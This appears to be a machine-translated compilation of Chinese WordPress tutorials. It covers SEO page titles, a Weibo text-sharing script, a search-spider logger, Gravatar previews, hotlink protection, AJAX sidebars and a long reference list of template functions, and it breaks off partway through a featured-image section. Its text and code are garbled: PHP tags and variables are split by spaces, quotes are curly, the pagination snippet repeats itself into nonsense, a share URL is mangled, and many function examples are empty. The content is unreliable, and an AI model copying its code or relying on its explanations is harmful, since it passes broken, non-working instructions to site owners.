WordPress title title repeats is not conducive to SEO solution

In the use of Google administrator tools found when the wordpress blog list page repeat page 56, is certainly very detrimental to seo. We all know that wordpress paging calls the title tag in header.php, for which we can fix the problem by repeating the title of the title page on the title tab in the header.php on the title tag to join the paging page of the calling tag to tell the search engine this Is the two pages, and ultimately achieve the SEO effect.
Here, I mainly talk about the category, that is, the title of the catalog directory is repeated, other pages are similar.
Before we can add the page number, we can find this line of code in header.php:
<? php if (is_category ()) {?> <? php single_cat_title ();?> – <? bloginfo (‘name’);?> <? php}
At this point, if the category directory article goes beyond one page, we can see that all the category titles are duplicated, that is, “category directory title – blog title”, we can modify the following,
$ paged = get_query_var (‘paged’); if ($ paged> 1) printf ($ paged> 1) printf (‘paged’); ‘-% s page’, $ paged);?> <? Php}?>
This code means that the first page to obtain the number, if not the first page then add the page number, said the first few pages, through this method can effectively eliminate the page page repeat the title of the problem.
In order to achieve the classification of the title of the title “category directory title – blog title – page number”, in addition to the first page.
Similarly, if it is the home page, you can
($ paged> 1) printf (‘- the% s page’); </ p> </ p> </ p> </ p> </ p> <p> $ paged); <? php}?>
Other pages are also similar, just need to be
$ paged = get_query_var (‘paged’); if ($ paged> 1) printf (‘-% s page’, $ paged);
Add to the appropriate location can be.

WordPress will select the text forwarded to the microblogging method

Tencent news recently looked at, when inadvertently found that when I selected the news in the text, the upper right corner of the mouse will display a “broadcast to microblogging” button, click on the selected text will be forwarded to the microblogging The This is a very good user experience, if it can be introduced into the WordPress blog, it is not very good?
I also specifically to register a developer of Tencent microblogging open platform, when I began to read the development of the document, only to find his sister, Tencent official has launched a similar function of the application, called “Q-Share “, And then read some of the other information, the original has been written by the older generation of js page text selected to share Sina microblogging method, then I more effort, the combination of the two, the microblogging and Tencent microblogging two A button are added, and then the pain of the egg I put it translated into a jQuery method.
Effect, then you can see the site, and select any text, it will show two microblogging button in the upper right corner, click to try it.
Implementation of the method is also very simple, only two steps:
1, the introduction of jQuery, I believe most of the WordPress blog has been introduced jQuery, it can be a direct second step.
2, at the bottom of the page, or more precisely, in the introduction of the jQuery library behind the addition of such a JS, you can see the same effect and the site.
var miniBlogShare = function () {
// Specify the location in the node
$ (‘<img id = “imgSinaShare” class = “img_share” title = “will be selected content to share Sina microblogging” src = “http://www.cmsjzy.cn /2012/0203/1328255868614.gif” /> <img id = “imgQqShare” class = “img_share” title = “will be selected content to share to Tencent microblogging” src = “http://www.cmsjzy.cn /2012/0203/1328255868314.png” /> ‘). appendTo (‘body’);

// default style
$ (‘. img_share’). css ({
display: ‘none’,
position: ‘absolute’,
cursor: ‘pointer’
});

// Select the text
var funGetSelectTxt = function () {
var txt = ”;
if (document.selection) {
txt = document.selection.createRange (). text;
} else {
txt = document.getSelection ();
}
return txt.toString ();
};

// Select the microblog icon after selecting the text
$ (‘html, body’). mouseup (function (e) {
if (e.target.id == ‘imgSinaShare’ || e.target.id == ‘imgQqShare’) {
return
}
e = e || window.event;
var txt = funGetSelectTxt (),
sh = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0,
left = (e.clientX – 40 <0)? e.clientX + 20: e.clientX – 40,
top = (e.clientY – 40 <0)? e.clientY + sh + 20: e.clientY + sh – 40;
if (txt) {
$ (‘# imgSinaShare’). css ({
display: ‘inline’,
left: left,
top: top
});
$ (‘# imgQqShare’). css ({
display: ‘inline’,
left: left + 30,
top: top
});
} else {
$ (‘# imgSinaShare’). css (‘display’, ‘none’);
$ (‘# imgQqShare’). css (‘display’, ‘none’);
}
});

// click Sina Weibo
$ (‘# imgSinaShare’). click (function () {
var txt = funGetSelectTxt (), title = $ (‘title’). html ();
if (txt) {
window.open (‘http://v.t.sina.com.cn/share/share.php?title=’ + txt + ‘- reprinted from:’ + title + ‘& url =’ + window.location.href);
}
});

// click on Tencent microblogging
$ (‘# imgQqShare’). click (function () {
var txt = funGetSelectTxt (), title = $ (‘title’). html ();
if (txt) {
window.open (‘http://vtqq.com/share/share.php?title=’ + encodeURIComponent (txt + ‘- reprinted from:’ + title) + ‘& url =’ + window.location.href) ;
}
});
} ();
Note: This method is not only applicable to WordPress, JS is common, you can mount this JS to any website can get the same effect.

WordPress search engine crawling record code

Write a blog for some time, why the search engine is not included in your page? Want to know what spiders are “visiting” your site every day? As a wordpress user, it is necessary to know what spiders crawl every day to your website in order to understand the search engine spider crawling frequency, the site for targeted SEO optimization.
In fact, very simple, just add the following code, and then call the document code on the OK, is not it convenient? Let’s get started.
Before I also looked for a few spider crawling tools PHP version, the results are unsatisfactory. And most of these PHP programs to be installed, but also to add the spider crawl records to MYSQL, too much trouble. Then look for a simple spider crawler
1. First, create a robots.php file in the wordpress theme root and write the following:
<? php
function get_naps_bot ()
{
$ useragent = strtolower ($ _ SERVER [‘HTTP_USER_AGENT’]);
if (strpos ($ useragent, ‘googlebot’)! == false) {
return ‘Googlebot’;
}
if (strpos ($ useragent, ‘msnbot’)! == false) {
return ‘MSNbot’;
}
if (strpos ($ useragent, ‘slurp’)! == false) {
return ‘Yahoobot’;
}
if (strpos ($ useragent, ‘baiduspider’)! == false) {
return ‘Baiduspider’;
}
if (strpos ($ useragent, ‘sohu-search’)! == false) {
return ‘Sohubot’;
}
if (strpos ($ useragent, ‘lycos’)! == false) {
return ‘Lycos’;
}
if (strpos ($ useragent, ‘robozilla’)! == false) {
return ‘Robozilla’;
}
return false
}
function nowtime () {
$ date = gmdate (“Y-n-j H: i: s”, time () + 8 * 3600);
return $ date;
}
$ searchbot = get_naps_bot ();
if ($ searchbot) {
$ tlc_thispage = addslashes ($ _ SERVER [‘HTTP_USER_AGENT’]);
$ url = $ _ SERVER [‘HTTP_REFERER’];
$ file = “robotslogs.txt”;
$ time = nowtime ();
$ data = fopen ($ file, “a”);
fwrite ($ data, “Time: $ time robot: $ searchbot URL: $ tlc_thispagen”);
fclose ($ data);
}
?>
Upload it in your theme directory.
2. In the appropriate location of Footer.php or header.php add the following code to call robots.php.
<? php include (‘robots.php’)?>
Program principle: through the spider identifier (such as Baiduspider, Googlebot) to judge, record the spider creep time, and generate the log file robotslogs.txt in the root directory.
Program Disadvantages: can not record the spider crawling the page, the function is relatively simple.

WordPress comments add input mailbox instantly display Gravatar avatar function

Gravatar is an abbreviation for Globally Recognized Avatar, a service launched by gravatar, meaning “Global Universal Avatar” (already wall). If you put your own avatar on Gravatar’s server, then in any message that supports Gravatar’s blog or message, just provide the email address associated with this avatar to show your Gravatar header.
New theme with this feature, it is not difficult to achieve, so posted to share under
1. Add the following code to the functions.php file and add the default avatar to the comment box.
add_filter (‘comment_form_top’, ‘show_gravatar’);
function show_gravatar () {
global $ current_user;
get_currentuserinfo ();
echo is_avatar ($ current_user-> user_email, 40); // 40 is the size of the avatar, step 4 is the same
}
2. Set the position of the avatar with CSS, which is fixed in the upper right corner.
#commentform {position: relative}
#commentform .avatar {position: absolute; top: 0; right: 20px}
3. Download http://pajhome.org.uk/crypt/md5/2.2/md5-min.js, save to the theme folder.
4. Rename the file just to gravatar.js, add the following code at the end of this file:
if (document.getElementById (“email”)) {
document.getElementById (“email”). onblur = function () {
if (/^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+((\a-a- zA-Z0-9_-]{2,3} ) {1,2}) $ /. Test (this.value)) document.getElementById (“commentform”). GetElementsByTagName (“img”) [0] .src = “http://www.gravatar.com/avatar / “+ Hex_md5 (this.value) +”? D = mm & s = 40 “;
};
};
If you find the email input box, when the cursor focus out of the email input box, with the regular test input is the email format, if it is inserted before the picture address to the newly generated address.
5. Open footer.php, add the following code:
<? php if (is_singular () && comments_open ()) {?> // Judgment is not a separate post page and comments open
<script type = “text / javascript” src = “<? php bloginfo (‘template_url’);?> / js / gravatar.js”> </ script>
<? php}?>
Simple 5 steps, instant display Gravatar function on the complete realization.

WordPress pictures to prevent hacking links

Method 1: modify the host root directory. Htaccess file
The general WordPress blog is using the Linux host, so you can enter the root directory through FTP, find. Htaccess file. In which to join
RewriteEngine onRewriteCond% {HTTP_REFERER}! ^ $ [NC] RewriteCond% {HTTP_REFERER}! Www.cmsjzy.cn [NC] RewriteRule. (Png | jpg) $ /nophoto.png [R, NC, L]
If you want some other sites to be able to use your pictures, you can be in
RewriteCond% {HTTP_REFERER}! Www.cmsjzy.cn [NC]
Followed by:
RewriteCond% {HTTP_REFERER}! You need to be able to display the URL [NC]
Are generally added FEED subscription URL, Baidu, Google or something. The last sentence of the nophoto.png file is to replace the stolen chain of pictures, it is recommended that the picture the smaller the better, you can get a big red fork, write refused to chain. Tips: not recommended at the same time prohibit gif | jpg | png these three picture files, such as you have banned the png, but with nophoto.png to replace the chain of pictures, this will certainly be a problem. If you want to disable both types at the same time, you can use the following sentence to replace:
RewriteRule. (Gif | png | jpg) $ image absolute address (need to add http: //) [R, NC, L]
OK, using .htaccess file for picture anti-theft chain has been completed. The same can not only picture anti-theft chain, add the file extension name, you can other files on the anti-theft chain settings.

Method 2: Use the WordPress Hotlink protection plugin plugin
Download WordPress Hotlink protection plugin plugin, install the plug-in, you can enter the plug-in settings page.
You can set the background in the plug-in to protect the image of the path, such as wp-content / uploads, if the change under the path of the picture was stolen chain, hacking the page will use the right warning picture to replace the original picture, of course, the warning The map can also be set in the plug-in background.

Method three: windows host background settings
If you are a Windows host, you can log in directly to the host background, set the picture anti-theft chain, because there is no windows-host Zhou Liang, so it is not demonstrated.

Method four: through the cPanel panel to set up anti-theft chain.
If you are using a Linux host that is a cPanel panel, you can set it in the CP panel.
1, after landing cPanel, click Security -> HotLink protection. This feature is to protect other sites directly link to your site on the file, through the settings can play the role of anti-theft chain.
2, the default may be disabled, you need to click the “Enable” button to enable it.
3, then the HotLink protection configuration, which “allow access to the URL” here generally fill in your own site URL, that is, what sites you want to quote your image address.
4, “to prevent direct access to the following extensions” fill in your website using the image extension, separated by a comma, such as: jpg, jpeg, gif, png, bmp.
5, “Url re-directed to” You can set a copy of your own copyright picture, when someone illegally references your picture will be the default display of this picture to warn him. Directly enter the address of the picture can be.
6, the above settings are completed, the last click on the “submit” can, then you can own other sites on the site under the reference to the picture test, look at the results.

Method 5: Add a watermark to the picture
This method, many of my friends are using, but still have a lot of children’s shoes and even add the watermark pictures will be chained.

Method 6: simply not in the wordpress blog host inside the picture
The amount of the most Niubi a method, not directly inside the blog to join the picture, or use the picture outside the chain. But this time on the subject, and I was a small joke to open, hehe!

WordPress through ajax way to obtain sidebar information

1, first have to load jquery library;
2, in their own to write the js file to write:
function ajaxs () {
$ .ajax ({
url: ‘http://127.0.0.1/?action=ajax’, // domain name replaced with what you want to use
type: ‘get’,
beforeSend: function () {
var loading = ‘<span class = “loadsidebar”> </ span>’;
$ (‘# hotposts’). empty (). html (loading) / / loading loading ah God horse
},
error: function (a) {
$ (“# hotposts”). hide (). empty (). html (‘<div style = “text-align: center; padding-top: 20px; fadeIn (‘fast’)
}, // error when the output of God horse
success: function (a) {
$ (‘# hotposts’). empty (). html (a) // output when the god horse
}
});
return false
};
ajaxs ();
3, in the function.php file to write:
function AjaxLoad () {
if (isset ($ _ GET [‘action’])) {
if ($ _ GET [‘action’] == ‘ajax’) {
echo ‘Oh shit’; / / You can output according to need, such as the output of the latest comments, the latest article, the latest sister what
die;
}
// if ($ _ GET [‘action’] == ‘ajax’) {
/ / If you understand, then this code can also write a number of right?
}
}
add_action (‘init’, ‘AjaxLoad’);
Done successfully.
With the above template, basically the functions to be used can be completed, such as the mouse across: $ (‘# xxx’). Hover (function () {…}, such as click somewhere: $ ( ‘#ooo’). click (function () {…}. Put the last sentence in the js section to the inside to complete the bird. Specifically see the ink theme of the sidebar newcomments and Active Friends part of the effect.

WordPress 3.3 Background function failure solution

With the release of the official version of WordPress 3.3, many of the fans are the first time to upgrade the program to the latest version, but soon found that some of the “background” features of the theme (including HotNews theme) set the background before the failure.
WordPress as early as 2.8 version to increase the custom background body_class () function, until the 3.0 version of the default theme has been added in the “background” function, with this feature is not a lot of themes, most of the theme designers may feel this feature There is no need to increase the database query, but the body_class () function of the original intention, not to simply replace the entire site of all the pages of the background, but to facilitate the flexibility of the design staff control Different pages of the elements of the style, the truth is not to say, the following talk about the specific solution:
Program a WordPress version 3.3 in the program wp-includes directory theme.php add a custom-background label, which is caused by the “background” function failure problem, open the theme.php program file, found in line 1797:
body.custom-background {<? php echo trim ($ style);?>}
Delete one of the .custom-background changes to:
body {<? php echo trim ($ style);?>}
This method is suitable for all previous support “background” feature of the theme, but need to modify the program file, I do not recommend using.
Option 2 This is the standard solution to the problem, open the default theme Twenty Eleven the header.php template, you will find one sentence:
<body <? php body_class ();
Instead of the normal <body> tag, which is the key, replace the above code with the body of the header.php template <body> tag you can use.
Three programs
<body class = “custom-background”>
Replace the header.php template <body> tag, do not let it add extra tags, this method is convenient and practical, suitable for all themes.

WordPress commonly used functions

1.bloginfo ()
As the name implies, the function is mainly used to display the blog information; and according to the different parameters, can be used to display the different parts of the blog information. Commonly used are the following:
bloginfo (‘name’) shows the blog title, such as “site”; default (do not write parameters) output the item;
bloginfo (‘description’) shows the blog description part, such as “the road is far from its repair Xi, I will be up and down and quest”;
bloginfo (‘url’) output blog URL address, such as http://www.cmsjzy.cn;
bloginfo (‘rss2_url’) shows the blog’s RSS2.0 feed address, such as http://www.cmsjzy.cn/feed;
bloginfo (‘template_url’) is used to get the template address of the WordPress blog;
bloginfo (‘charset’) shows how the blog is encoded, such as “UTF-8”;
A common combination of using the bloginfo () function is as follows:
“Title =” “>
This form is usually used to add the bottom of the blog information, such as Copyright @ site, often used in the theme template.
Note that the bloginfo () function can only output these parameters. If you want to use these values ​​in a PHP statement, you need to use the get_bloginfo () function, which uses the same parameters as bloginfo () to get the same result.

2.wp_title ()
The function is used to display the title of the page, as in the article page, the article title is displayed; on the category page, the category name is displayed;
wp_title () function can be followed by three parameters, namely wp_title (‘separator’, echo, seplocation), where separator is the division between the title and the rest of the symbol, the default is >>; echo is a bool variable, False to return the title as a PHP parameter; seplocation defines the location of the delimiter, and right defines the delimiter after the title, whichever is any value, and indicates that the delimiter is placed before the title.

3.wp_get_archives ()
This function is used to get the blog’s article archive, and by setting the parameters of the function, you can get it in various ways, such as month, year, and so on.
The wp_get_archives () function can also be followed by a variety of arguments, except that all parameters need to be treated with a & link and placed in a single quotation mark (‘) as a string, as in wp_get_archives (‘ type = monthly & format = html & show_post_count = 1 & limit = 10 ‘).
The above parameters are described as follows:
type = monthly means to display article archives on a monthly basis, you can use yearly, daily, weekly, etc. instead of monthly that year, day, and week show article archive;
# format = html means to use the usual HTML formatted article list;
show_post_count = 1 means that the number of articles belonging to the category (year, month, etc.) is displayed after the article archive, which is a bool value;
limit = 10 means that the maximum number of articles archived is 10, the number of times exceeded, then the part is not displayed;
Although the parameters slightly more, it is slightly complicated, but in fact only pay attention to type, show_post_count and limit three parameters can be.

4.wp_list_categories ()
Similar to the wp_get_archives () function, the wp_list_categories () function is used to get the classification information for a blog post and can be displayed by setting the appropriate function parameters. The parameters of the function and wp_get_archives () function similar to the need to use & link, put in single quotation marks (‘) to pass the string. Form like wp_get_archives (‘orderby = name & order = ASC & show_count = 1 & use_desc_for_title = 1 & feed = subscribe & exclude = 2,5 & number = 10’).
In the example above, the meaning of the function parameters is as follows:
orderby = name that according to the name of the alphabetical order of classification information, you can change the name ID;
order = ASC indicates that the classification information is displayed in ascending order of the alphabetical name of the category name, and ASC is changed to DESC in descending order;
show_count = 1 The number of articles belonging to the category is displayed after each category name;
use_desc_for_title = 1 Use the description of the category to add a title attribute for each category name hyperlink;
feed = Subscription: Add a hyperlink named “Subscription” next to each category to provide the RSS feed for that category;
exlude = 2,5: in the display of the classification to remove the ID 2 and 5 of the classification; can also use include = 2,5 that only show the ID of 2 and 5 classification;
number = 10: Indicates that only the first 10 categories are displayed.

5.get_the_category ()
The get_the_category () function is used to return an array of properties of the category to which the current article belongs, which includes the following:
cat_ID: ID of the current category (can also be written as ‘term_id’);
cat_name: the name of the current category (also written as ‘name’);
category_description: description of the current classification (can also be written as ‘description’);
category_count: The number of articles that belong to the current category (also written as ‘count’).
The specific use of the method, we through the following several sentences to illustrate:
A statement such as get_the_category () -> cat_ID, returns the ID number of the category to which the current article belongs;
Such as get_the_category () -> description of the statement, return to the current article belongs to the description of classification;

6.the_category ()
This function returns the name of the category to which the current article belongs, and is a hyperlink to the article category.
The default no parameter form the_category () directly displays the category name as a hyperlink, as:
You can format the output, such as the_category (‘-‘), if the current article belongs to more than two categories, you can display such a form: It is displayed in such a form: fine promotion.

7.category_description ()
This function takes the classified ID as input and gets the description of the classification. And often echo, get_the_category () with the use of the current classification description output:
echo category_description (get_the_category () -> cat_ID);
Get_the_category () get an array of the current classification information; cat_ID is the ID of the class in the array; enter the ID into the category_description () function to get the description of the class; then use echo to output it The
But by the site test, the use of the following statement can achieve the same function and the above statement:
echo category_description ();
This may be because the function outputs the result of the current classification description in the case of default no parameter input.

8.is_home ()
is_home () to determine whether the currently displayed blog page is the blog home page and return a Bool value. Returns TRUE if it is on the home page; otherwise returns FALSE.
This function is often used to control the way the blog sidebar is displayed, often using the following code snippet:

9.is_archive ()
is_archive () to determine whether the currently displayed content is a blog archive page, such as a date archive, or by archive, and so on; it returns a Bool value just like the is_home () function.

10.is_page ()
The is_page () function determines whether the currently displayed content is a separate page of the blog, such as “WordPress”, “About this site”; it also returns a Bool value.
We can in the template through the function to determine whether the current is a separate page to determine whether the current display of the article shows the release time and so on.

11.is_paged ()
This function is used to determine whether the current article is tabulated because of too much content. Note that the function does not return TRUE if you have manually added a label to force paging when writing an article.

12.is_page_template ()
The is_page_template () function takes a parameter, usually in the following way:
is_page_template (‘guestbook.php’);
To determine whether the current display of the independent page (page) using the parameters shown in the template guestbook.php; if not with the parameters, the function returns the current independent page whether the use of the template.

13.is_single ()
is_single () to determine whether the currently displayed page content is a separate article. One can be followed by three parameters, one is the article ID; one is the article title (title); one is the article name (slug, article title of a short description of the form); or can be used in combination of three parameters, To determine whether the current page content is a specific article.
A simple example is as follows, we can through the following ways to determine whether the current display is the text:
is_single (‘808’); is_single (‘use-wordpress-second’); is_single (‘808’); is_single (‘ Do not know the function (b) ‘,’ functions-must-known-using-wordpress-second ‘);
Here, the site needs to do the last one of the above description: the function followed by three parameters, there is a priority, if the first parameter meets the conditions, then return TRUE; otherwise, return FALSE; looks like the following parameters And it does not make sense.

14.is_category ()
The function is used to determine whether the currently displayed page content is a sorted page, such as site-related; where no parameters are required. The function returns a Bool value.

15.is_tag ()
is_tag () to determine whether the currently displayed page is a tab page, such as WordPress; then do not need to follow the parameters. The function also returns a Bool value.

16.is_date ()
This function is used to determine whether the currently displayed content is a time-archived page, such as April 2009, or April 8, 2009, and so on.

17.is_day (), is_month (), is_year ()
These functions are used to determine whether the currently displayed content is a page by day, month, and yearly. They are similar to is_date (), but will only archive the time more specific.

18.is_author ()
This function is used to determine whether the currently displayed content is a page with the author’s name, such as the admin author page of the site.

19.is_admin ()
The is_admin () function is used to determine whether the current is on the control panel page, or the admin panel page.

20.get_bloginfo ()
This function and our previous article use WordPress do not know the function (a) described in the bloginfo () function to achieve almost the same function. Mainly used to display the information of the blog; and according to the different parameters, will output different information of the blog.
Followed by the parameters, get_bloginfo () can display the blog name, shaped like “this site”;
Followed by other parameters, you can display the corresponding information, such as get_bloginfo (‘description’) to display the blog description information;
Other parameters that can be used include name, url, wpurl, and admin_email. But because it is with the bloginfo () function to achieve the same results, so in the case of bloginfo can be achieved, this site is not recommended to use get_bloginfo () function.

21.query_posts ()
The query_posts () function takes the appropriate parameters to control which articles are displayed on the page.
Such as query_posts (“cat = 3,6 & cat = -5, -10”) that take the classification of the ID of 3 and 6 of the article shows no classification ID of 5 and 10 of the article show;
The meaning is as follows: query_posts (“order = ASC & showposts = 10 & offset = 1 & orderby = date & posts_per_page = 5”)
order = ASC in ascending order, DESC is in descending order;
showposts = 10 means to get 10 articles;
offset = 1 means the latest article;
orderby = date means that the article is sorted by date;
posts_per_page = 5 means 5 articles per page.
It should be noted that the function is only the contents of the article from the MySQL database query out, to display it, but also need to cooperate with other statements, such as a frequently used in the sidebar as follows:
The above code is used to display the latest five articles at the specified location on the sidebar.
query_posts () function can be followed by a variety of types of parameters, the function is very powerful, in this, we do not introduce too much. If time and energy allow, this site will be written in a later article specifically for friends to make an introduction.

22.get_posts ()
The function and query_posts () function is roughly the same, are used to query from the database and get a condition in line with the article. However, the use of the get_posts () function has a fixed form, as follows:
“Id =” post – “>
First, use the get_posts () function to get the article data, and then use the form like foreach ($ lastposts as $ post): setup_postdata ($ post); The loop will query the contents of the article displayed.
The get_posts () function uses the same parameters as the query_posts () function, and we will not go into detail here.

23.wp_list_cats ()
This function has the same functionality as the wp_list_categories () function in WordPress. However, in the latest version of WordPress, this function has been deprecated and its function is completely replaced by the wp_list_categories () function.

24.get_calendar ()
The get_calendar () function is used to display the calendar on WordPress, the calendar style is the same as using the widget, as shown in the following figure:
Which can then be followed by a BOOL parameter to control the display style of the week above the calendar. But by the site test, in the Chinese state, the use of TRUE or FALSE parameters, the calendar display is no different.

25.wp_list_bookmarks ()
This function is used to display the blog’s links and can use various parameters to control the number, type, and style of the display.
Form, such as wp_list_bookmarks (‘title_li = & categorize = 0 & orderby = rand & include = 41,40,37,54’); form, meaning explained as follows:
title_li = & categorize = 0 is a commonly used combination, does not show WordPress background control panel set in the link title, but all the chain are displayed in accordance with the classification of the show; a separate title_li = can also be used to set The name of the category showing the chain;
orderby = rand set the chain display in a random order, of course, can also be set to other ways, such as id, url, name and so on;
include = 41,40,37,54 only show the ID of the four numbers of the four friends; Corresponding to this, also supports the use of exclude, said the number of friends do not show the number of links.
# In addition, the function often used parameters before and after, used to set each link before and after the text, the default is and
mark.

26.get_links (), wp_get_links ()
These two functions implement the same functionality as 25.wp_list_bookmarks (), but these two functions have been replaced by 25.wp_list_bookmarks () during the WordPress upgrade.

27.wp_list_pages ()
The function displays all pages within the WordPress blog as a hyperlink to the page name, often used to create a top navigation page or to decorate the sidebar.
The function is called wp_list_pages (‘title_li = & sort_column = menu_order & include = 12,25,38,57 & depth = 1 &’); The meaning of each parameter is as follows:
title_li = used to set all the display page of a total name; no parameter value behind, that does not display the name;
sort_column = menu_order used to set the order of the page display, said in accordance with the WP background settings of the page order display, the other commonly used sequence settings may also include post_title, post_date, ID, etc.;
include = 12,25,38,57 that only show the four values ​​for the four pages; Similarly, you can use exclude to exclude the corresponding ID of the page;
depth = 1 indicates that only the parent page is displayed, and all subpages are not displayed; other values ​​include the default 0, indicating that all pages (pages are indented); – 1 shows all pages (pages are not indented); and many more.
In addition, the properties that may be used by the function include link_before and link_after, which are used to set the characters before and after the displayed page link.

28.wp_tag_cloud ()
As the name suggests, the wp_tag_cloud () function is used to display the WordPress blog’s tag cloud.
A function called wp_tag_cloud (‘smallest = 8 & largest = 22 & number = 30 & orderby = count’); the meaning of each parameter is as follows:
smallest = 8 is used to set the label size of all the labels displayed in the tag cloud with a minimum count (at least article).
largest = 22 The label size for all tags that are used to set the tag cloud to the most (most used articles) is 22;
number = 30 sets the maximum number of tags displayed in the tag cloud to 30;
orderby = count Sets the sorting of tags in the tag cloud to the count (default), not the name (the default is name, the default when the widget is called).
Other commonly used parameters include include and exclude, used to set whether the tag cloud contains or remove the ID as a number of labels.

29.wp_register ()
The wp_register () function is used to display the “site management” hyperlink to the administrator; or when the WP blog is open, the “registered” hyperlink is displayed to the unregistered user.
The function does not require any parameters, the only possible use of the parameters such as wp_register (‘front’, ‘after’), you can display the hyperlink text before and after the show a “front” and a “post” word. Of course, you can use this imagination to personalize your site’s management or registration links.

30.wp_loginout ()
This function is used to display a “login” link at the specified location; of course, if you have already logged in, an “exit” link will be displayed accordingly. This function does not use any parameters later, so flexible customization is not possible.
However, if you want to customize your own WP blog login or exit the link text, you can still use the following 31 described in the function wp_logout_url () and wp_login_url ().

31.wp_logout_url (), wp_login_url ()
Using the function as above 30, although you can easily set up login for the WP blog, exit the link, but the custom is not flexible enough. So, starting with the WordPress version 2.7, there are two functions available here. They are used to get WP blog exit or login hyperlinks, and then we use the hyperlink can be prepared to write the following code to the WP blog login and exit links for flexible settings:
“Click here to exit
“Click here to log in
Of course, in order to achieve the perfect effect, but also need to judge the visitor’s login status, use an if statement, according to the login status display the corresponding menu item.

32.wp_meta ()
The function is usually followed by the function in the back of 29,30, the specific visual display on what is not the same, it seems WP theme for the WP plug-in left API Hook, the site suggested that friends in the function above to keep up with this A function.

33.get_recent_posts ()
This function is only available when you have installed the Chinese WordPress toolbox. Its role is used to obtain the latest log, the function prototype is as follows:
# get_recent_posts ($ no_posts = 5, $ before = ‘+’, $ after = ‘
‘, $ Show_pass_post = false, $ skip_posts = 0)
You can use the $ no_posts control to show the number of articles, $ before and $ after the meaning and the same function in the previous; As for the latter two parameters, generally do not have to set the direct value can be taken directly.
However, because the function and WordPress built-in get_posts () and query_posts () function function is repeated, so usually rarely used.

34.get_recent_comments ()
In fact, after installing the above WordPress toolbox, the most commonly used is this function, because the WordPress program itself does not have built-in access to the latest comments function. The prototype of the function is as follows:
# get_recent_comments ($ no_comments = 5, $ before = ”, $ after = ‘
‘, $ Show_pass_post = false)
Meaning Obviously, and the above function is similar to this site no longer speak.

35.get_recentcomments ()
This function is a function that is available after the WP-RecentComments plug-in is installed, similar to the function in 34 above.
The prototype of the function is as follows:
get_recentcomments (int num, int size)

36.wp_get_post_tags ()
The function is used to get the article’s tag on an article page or based on the ID of an article, and the result is placed in a tag array. A common use is as follows:
($ tags- $). $ “[$ keywords = $ keywords. } echo $ keywords;}
($ Post-> ID) to get the current article’s tag, and then get its name ($ tag-> name), and its combination of output.

37.single_cat_title (), single_tag_title ()
As the name suggests, these two functions are used to get the title page and tag page title, its usual use such as:
However, in addition, single_cat_title () can also be used to get the title of the current page on the tag page; but single_tag_title () is not available to get the title of the sort page.

38.get_settings (), get_option ()
The two functions and the previous use of WordPress do not know the function (c) function 20.get_bloginfo () similar to the use of the same method, you can follow the various parameters to get WordPress blog related information.
Such as the following call:
get_settings (‘name’) or get_option (‘name’)
Can be used to get the title of the current WordPress blog.

39.wp_head ()
This function is the same as the previous 32.wp_meta (), which is the API Hook left by the WP theme for the WP plugin.

40.get_header (), get_footer (), get_sidebar (), and comments_template ()
These functions are used to get and include the corresponding files in the WordPress theme. such as:
get_header () is used to include the header.php under the current theme folder;
get_footer () is used to include the footer.php under the theme folder;
get_sidebar () is used to contain the sidebar.php under the theme folder;
comments_template () is used to include comments.php.
It should be noted that if the current theme folder is missing the corresponding file, the function will use the wp-content / themes / default / folder under the corresponding file instead.
In addition, the above function can not follow the parameters, only get_sidebar () exception, because a theme can use multiple sidebar. A call method such as get_sidebar (‘up’) can include the sidebar-up.php sidebar template file in the theme.
In addition to the above functions, in the subject if you want to include a specific file, you can also use the following way:
include (TEMPLATEPATH. ‘/***.php’)
The above function can be included in the current theme folder named ***. Php file; where TEMPLATEPATH is a reference to the current theme folder address (not including the end / so it needs to be added).

41.have_posts (), the_post ()
These two functions are used in a limited range and are typically used in WordPress loops to get all the articles. The fixed form of use is as follows:
The article here shows the information when the article is not found, such as 404
Another common form is to combine the first two lines in the above code (other places are the same):
This form is usually used in templates such as index.php, archive.php, or single.php. In addition to other places, we usually do not see the two functions of the figure.

42.the_title (), the_title_attribute ()
the_title () function is mainly used to get the title of the current article, then you can keep up with three parameters (all omitted, take the default value), call the form as follows:
The parameter before is used to set the character content displayed in front of the obtained title; after is used to set the content that the title is displayed later; and display is a Bool value that controls whether the obtained title is displayed.
The_title_attribute () function is similar to the_title (), which is used as follows:
the_title_attribute (‘before = front & after = post & echo = true’)
Where before = and after = are used to set the title before and after the characters; echo = true or false user to set the title string is displayed.
The call form of the form or the_title_attribute (‘before = current article & after = comments: echo = true’) will show the following result:
The current article with WordPress do not know the function of the comments:

43.single_post_title (), single_tag_title (), single_cat_title ()

44.the_ID ()
The function does not follow any of the following arguments, using the following call:
Used to get and display the ID number of the current article page. However, the need to pay special attention to is that the function can only be used in the WordPress large cycle, the use of other places may also show the ID number, but the contents of the display will never change with the article.
In addition, the function is usually used in the CSS structure shown below:
You can set different title styles for different authors in your blog to distinguish.

45.get_the_ID ()
The function and 44.the_ID () function to achieve exactly the same function, the current WordPress official did not provide the use of the function. You can refer to the above description of the_id () function in 44 above. In particular, the function is similar to the_ID (), and it can only be used correctly in WordPress loops.

46.the_time (), get_the_time ()
the_time () is used to get and display the current article published time, and the above several functions similar to this function can only be used in WordPress large cycle.
The function can be followed by the control date or time format parameters, commonly used parameters as follows:
Such as the call form of the display: June 13, 2009 (English status shown June 13, 2009);
Such as the call form shows the effect: 7: 09 pm (English state shows 7:09 pm);
Such as the call form shows the effect: 19: 09.
In fact, in addition to using the_time () function, WordPress also provides a similar function get_the_time () function. The function does not have the display function of the_time () function, the rest of the function is exactly the same. When you use the get_the_time () function, you need to use a special statement to display the acquired time.
Here, we take this opportunity to simply understand the format of WordPress in time. In WordPress, usually used to control the time format of the characters: l, F, j, S, Y, G, g, i, a, etc., its detailed meaning is as follows:
l (lowercase L) is used to display the name of each day of the week, such as Saturday, or in English show Saturday;
F is used to display the month name, such as June, or June;
j is used to show one day of the month, such as 13;
Y is used to display the year in 4 digits, y is displayed in the last two digits, such as 2009 or 09;
G, g, i, a and other four characters are usually used in combination, as in the previous example, there are two forms:
g: i a shows the time in the form of a form such as 7:09 pm or 7:09 pm;
G: i displays the time in the form of a 24-hour scale, such as 19:09.
S is usually followed by j, indicating whether or not to add the English suffix (st, nd, th, etc.) after one day of the month.

WordPress theme add feature image features

WordPress from version 2.9 to support the article features image features, the use of wordpress features image function, will use the site more standardized, improve the page loading speed, how to make the theme support feature image function is very simple.
The first step, add the theme of the feature image support
Place the following code subject in the functions.php file:
// Add featured image function
